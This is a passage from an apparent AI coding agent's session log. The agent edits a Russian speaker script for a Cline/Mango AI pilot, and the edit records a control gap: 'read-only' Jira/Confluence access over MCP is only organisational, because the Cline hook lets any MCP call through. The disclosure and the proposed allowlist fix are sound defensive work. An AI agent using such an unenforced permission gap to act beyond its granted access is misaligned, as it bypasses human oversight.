\u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\",\n[2026-09-29T07:55:50.014Z] [INFO]           \"-\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\",\n[2026-09-29T07:55:50.014Z] [INFO]           \"-\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043d\u0435 \u043f\u0440\u043e\",\n[2026-09-29T07:55:50.014Z] [INFO]           \"-\u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\",\n[2026-09-29T07:55:50.014Z] [INFO]           \"+\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u041f\u043e\u0434\u043c\u0435\u043d\u0430 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0438\",\n[2026-09-29T07:55:50.014Z] [INFO]           \"+\u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f, \u043f\u043e\u0442\u0435\u0440\u044f \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438\",\n[2026-09-29T07:55:50.014Z] [INFO]           \"+\u0438 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u2014 \u043d\u0435 \u043f\u0440\u043e \u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\",\n[2026-09-29T07:55:50.014Z] [INFO]           \" \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\",\n[2026-09-29T07:55:50.014Z] [INFO]           \" \u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\",\n[2026-09-29T07:55:50.014Z] [INFO]           \" \"\n[2026-09-29T07:55:50.014Z] [INFO]         ]\n[2026-09-29T07:55:50.014Z] [INFO]       }\n[2026-09-29T07:55:50.014Z] [INFO]     ],\n[2026-09-29T07:55:50.014Z] [INFO]     \"userModified\": false,\n[2026-09-29T07:55:50.014Z] [INFO]     \"replaceAll\": false,\n[2026-09-29T07:55:50.014Z] [INFO]     \"contentNotInModelContext\": true\n[2026-09-29T07:55:50.014Z] [INFO]   }\n[2026-09-29T07:55:50.014Z] [INFO] }\n[2026-09-29T07:55:55.675Z] [INFO] {\n[2026-09-29T07:55:55.675Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:55.675Z] [INFO]   \"message\": {\n[2026-09-29T07:55:55.675Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:55.675Z] [INFO]     \"id\": \"msg_011CfXNXzdyCp51htuBrcg98\",\n[2026-09-29T07:55:55.675Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:55.675Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:55.675Z] [INFO]     \"content\": [\n[2026-09-29T07:55:55.675Z] [INFO]       {\n[2026-09-29T07:55:55.675Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:55:55.675Z] [INFO]         \"id\": \"toolu_01MSPoieQaZYRmrnJkUrAio2\",\n[2026-09-29T07:55:55.675Z] [INFO]         \"name\": \"Edit\",\n[2026-09-29T07:55:55.675Z] [INFO]         \"input\": {\n[2026-09-29T07:55:55.675Z] [INFO]           \"replace_all\": false,\n[2026-09-29T07:55:55.675Z] [INFO]           \"file_path\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:55:55.675Z] [INFO]           \"old_string\": \"\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\\n\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\\n\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\\n\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\",\n[2026-09-29T07:55:55.675Z] [INFO]           \"new_string\": \"\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432\\n[ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md).\\nEndpoint Mango AI \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438\u043b\u0438 VPN. \u041a\u043b\u044e\u0447\\n\u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442. \u041f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b,\\n\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u0442\u0430\u043a\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0438\u0434\u0443\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\\nPR \u0432 Source \u0438 \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0435\u0439.\\n\\n\u041f\u0440\u043e\u0431\u0435\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0434\u043e \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0441\u0430\u043c\u0438\u043c: \u00ab\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435\u00bb \u0434\u043b\u044f Jira \u0438 Confluence\\n\u0447\u0435\u0440\u0435\u0437 MCP \u0441\u0435\u0439\u0447\u0430\u0441 \u2014 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043c\u0435\u0440\u0430. Hook \u043f\u0430\u043a\u0435\u0442\u0430 Cline \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\\n\u043b\u044e\u0431\u043e\u0439 MCP-\u0432\u044b\u0437\u043e\u0432, \u0440\u0435\u0430\u043b\u044c\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u2014 \u0440\u0443\u0447\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u043c\\n([\u0413-12](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-12)).\\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u2014 allowlist \u043f\u0430\u0440 \u00ab\u0441\u0435\u0440\u0432\u0435\u0440/\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u00bb \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u0412\\n\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u0440\u0435\u0448\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043a\u043e\u0434\u0430: \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\\n\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0441\u0430\u043c\u0430.\"\n[2026-09-29T07:55:55.675Z] [INFO]         },\n[2026-09-29T07:55:55.675Z] [INFO]         \"caller\": {\n[2026-09-29T07:55:55.675Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:55:55.675Z] [INFO]         }\n[2026-09-29T07:55:55.675Z] [INFO]       }\n[2026-09-29T07:55:55.675Z] [INFO]     ],\n[2026-09-29T07:55:55.675Z] [INFO]     \"container\": null,\n[2026-09-29T07:55:55.675Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:55:55.675Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:55:55.675Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:55:55.675Z] [INFO]     \"usage\": {\n[2026-09-29T07:55:55.675Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:55:55.675Z] [INFO]       \"cache_creation_input_tokens\": 1683,\n[2026-09-29T07:55:55.675Z] [INFO]       \"cache_read_input_tokens\": 53177,\n[2026-09-29T07:55:55.675Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:55:55.675Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:55:55.675Z] [INFO]         \"ephemeral_1h_input_tokens\": 1683\n[2026-09-29T07:55:55.675Z] [INFO]       },\n[2026-09-29T07:55:55.675Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:55:55.675Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:55:55.675Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:55:55.675Z] [INFO]     },\n[2026-09-29T07:55:55.675Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:55:55.675Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:55:55.675Z] [INFO]     \"context_management\": null\n[2026-09-29T07:55:55.675Z] [INFO]   },\n[2026-09-29T07:55:55.675Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:55.675Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:55.675Z] [INFO]   \"uuid\": \"4862a303-8bcd-4743-9bb1-42c72053bff5\",\n[2026-09-29T07:55:55.675Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:55.669Z\",\n[2026-09-29T07:55:55.675Z] [INFO]   \"request_id\": \"req_011CfXNXzBShRHictvwBzDdX\",\n[2026-09-29T07:55:55.675Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:55:55.675Z] [INFO]     \"toolu_01MSPoieQaZYRmrnJkUrAio2\": {\n[2026-09-29T07:55:55.675Z] [INFO]       \"file_path\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:55:55.675Z] [INFO]       \"old_string\": \"\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\\n\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\\n\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\\n\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\",\n[2026-09-29T07:55:55.675Z] [INFO]       \"new_string\": \"\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432\\n[ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md).\\nEndpoint Mango AI \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438\u043b\u0438 VPN. \u041a\u043b\u044e\u0447\\n\u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442. \u041f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b,\\n\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u0442\u0430\u043a\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0438\u0434\u0443\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\\nPR \u0432 Source \u0438 \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0435\u0439.\\n\\n\u041f\u0440\u043e\u0431\u0435\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0434\u043e \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0441\u0430\u043c\u0438\u043c: \u00ab\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435\u00bb \u0434\u043b\u044f Jira \u0438 Confluence\\n\u0447\u0435\u0440\u0435\u0437 MCP \u0441\u0435\u0439\u0447\u0430\u0441 \u2014 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043c\u0435\u0440\u0430. Hook \u043f\u0430\u043a\u0435\u0442\u0430 Cline \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\\n\u043b\u044e\u0431\u043e\u0439 MCP-\u0432\u044b\u0437\u043e\u0432, \u0440\u0435\u0430\u043b\u044c\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u2014 \u0440\u0443\u0447\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u043c\\n([\u0413-12](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-12)).\\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u2014 allowlist \u043f\u0430\u0440 \u00ab\u0441\u0435\u0440\u0432\u0435\u0440/\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u00bb \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u0412\\n\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u0440\u0435\u0448\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043a\u043e\u0434\u0430: \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\\n\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0441\u0430\u043c\u0430.\"\n[2026-09-29T07:55:55.675Z] [INFO]     }\n[2026-09-29T07:55:55.675Z] [INFO]   }\n[2026-09-29T07:55:55.675Z] [INFO] }\n[2026-09-29T07:55:55.712Z] [INFO] {\n[2026-09-29T07:55:55.712Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:55:55.712Z] [INFO]   \"message\": {\n[2026-09-29T07:55:55.712Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:55:55.712Z] [INFO]     \"content\": [\n[2026-09-29T07:55:55.712Z] [INFO]       {\n[2026-09-29T07:55:55.712Z] [INFO]         \"tool_use_id\": \"toolu_01MSPoieQaZYRmrnJkUrAio2\",\n[2026-09-29T07:55:55.712Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:55:55.712Z] [INFO]         \"content\": \"The file /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md has been updated successfully.\"\n[2026-09-29T07:55:55.712Z] [INFO]       }\n[2026-09-29T07:55:55.712Z] [INFO]     ]\n[2026-09-29T07:55:55.712Z] [INFO]   },\n[2026-09-29T07:55:55.712Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:55.712Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:55.712Z] [INFO]   \"uuid\": \"da7de579-9c64-4f4b-9f6b-4acdd253f2f8\",\n[2026-09-29T07:55:55.712Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:55.704Z\",\n[2026-09-29T07:55:55.712Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:55:55.712Z] [INFO]     \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:55:55.712Z] [INFO]     \"oldString\": \"\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\\n\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\\n\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\\n\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\",\n[2026-09-29T07:55:55.712Z] [INFO]     \"newString\": \"\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432\\n[ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md).\\nEndpoint Mango AI \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438\u043b\u0438 VPN. \u041a\u043b\u044e\u0447\\n\u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442. \u041f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b,\\n\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u0442\u0430\u043a\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0438\u0434\u0443\u0442 